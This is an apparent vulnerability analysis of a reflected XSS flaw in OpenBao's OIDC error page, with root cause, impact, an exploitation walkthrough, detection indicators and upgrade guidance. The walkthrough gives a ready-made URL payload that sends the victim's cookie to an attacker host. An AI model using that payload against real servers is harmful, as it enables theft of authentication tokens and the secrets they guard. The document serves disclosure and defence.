CVE-2026-33758: 
NixOS vulnerability analysis and mitigation

CVE-2026-33758 is a reflected Cross-Site Scripting (XSS) vulnerability in OpenBao's OIDC/JWT authentication error handling. OpenBao installations with an OIDC/JWT authentication method enabled and a role configured with callback_mode=direct are vulnerable to XSS via the unsanitized error_description query parameter on the failed authentication page. All versions prior to 2.5.2 are affected. The vulnerability was reported by researcher gianklug, disclosed on March 25, 2026, and patched the same day. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Advisory, OpenBao Advisory).

The root cause is improper input validation and missing output encoding (CWE-20, CWE-79, CWE-116) in the OIDC callback handler within builtin/credential/jwt/path_oidc.go. When a failed OIDC authentication occurs in callback_mode=direct, the server reflected the raw value of the error_description URL query parameter directly into the HTML error page without sanitization or escaping, enabling script injection. The fix replaced the reflected error_description with a static error message, applied html.EscapeString() to all user-controlled values rendered in HTML templates, and introduced a jsStr() utility function using json.Marshal to safely embed strings in JavaScript contexts within the formpostHTML template (OpenBao Commit, OpenBao PR #2709).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who visits a crafted OIDC error page within the OpenBao Web UI domain. The primary impact is theft of the authentication token used in the Web UI session, granting the attacker unauthorized access to OpenBao with the victim's full privileges. Given that OpenBao manages secrets and sensitive credentials, token theft could enable lateral movement, secret exfiltration, and broader infrastructure compromise (GitHub Advisory, OpenBao Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.146%, indicating a low near-term exploitation probability. Exploitation requires user interaction — a victim must click a crafted link that directs them to the vulnerable OIDC error page — but no attacker privileges are required, and the attack complexity is low (GitHub Advisory).

1. Reconnaissance: Identify OpenBao instances (versions < 2.5.2) with OIDC/JWT authentication enabled and at least one role configured with callback_mode=direct. This can be done by probing the OIDC callback endpoint or reviewing publicly accessible OpenBao configurations.
2. Craft malicious URL: Construct a URL targeting the OIDC callback endpoint with a malicious JavaScript payload injected into the error_description query parameter, e.g.:

   https://<openbao-host>/v1/auth/<jwt-mount>/oidc/callback?error_description=<script>document.location='https://attacker.com/steal?t='+document.cookie</script>&state=<valid-state>

3. Deliver the link: Send the crafted URL to a victim who is authenticated to the OpenBao Web UI (e.g., via phishing email, chat message, or malicious redirect).
4. Trigger XSS: When the victim clicks the link, their browser loads the OpenBao error page, which reflects the unsanitized error_description value into the HTML response, executing the injected script in the OpenBao domain context.
5. Steal authentication token: The injected script reads the victim's Web UI authentication token (e.g., from cookies or local storage) and exfiltrates it to an attacker-controlled server.
6. Impersonate victim: The attacker uses the stolen token to authenticate to OpenBao with the victim's privileges, accessing secrets and performing unauthorized operations (OpenBao Advisory, OpenBao Commit).

• Network: Outbound HTTP requests from a victim's browser to an external attacker-controlled domain shortly after visiting the OpenBao OIDC callback URL; unusual GET/POST requests to the OIDC callback endpoint (/v1/auth/<mount>/oidc/callback) containing script tags or encoded JavaScript in the error_description parameter.
• Logs: OpenBao access logs showing requests to the OIDC callback endpoint with anomalous or encoded values in the error_description query parameter; authentication token usage from unexpected IP addresses or user agents following a failed OIDC login event.
• Web UI Activity: Unexpected API calls or secret access events in OpenBao audit logs attributed to a legitimate user's token but originating from an unfamiliar IP address or session context, potentially indicating token theft and reuse.

Upgrade OpenBao to version 2.5.2 or later, which replaces the reflected error_description parameter with a static error message and applies proper HTML and JavaScript output encoding (OpenBao Release v2.5.2). As an immediate workaround for environments that cannot upgrade promptly, remove all OIDC/JWT authentication roles that have callback_mode set to direct to eliminate the attack surface (OpenBao Advisory). Organizations should also review audit logs for any suspicious token usage patterns that may indicate prior exploitation.

The vulnerability was reported by community researcher gianklug and coordinated through the OpenBao security advisory process, with the fix merged and released on the same day as disclosure (March 25, 2026) (OpenBao PR #2709). The OpenBao maintainer cipherboy promptly reviewed and merged the fix, noting that JWT tests had passed. The release was also picked up by Linux distribution security announcement lists (openSUSE, Fedora) and security tracking databases, indicating routine community awareness without significant controversy (Feedly).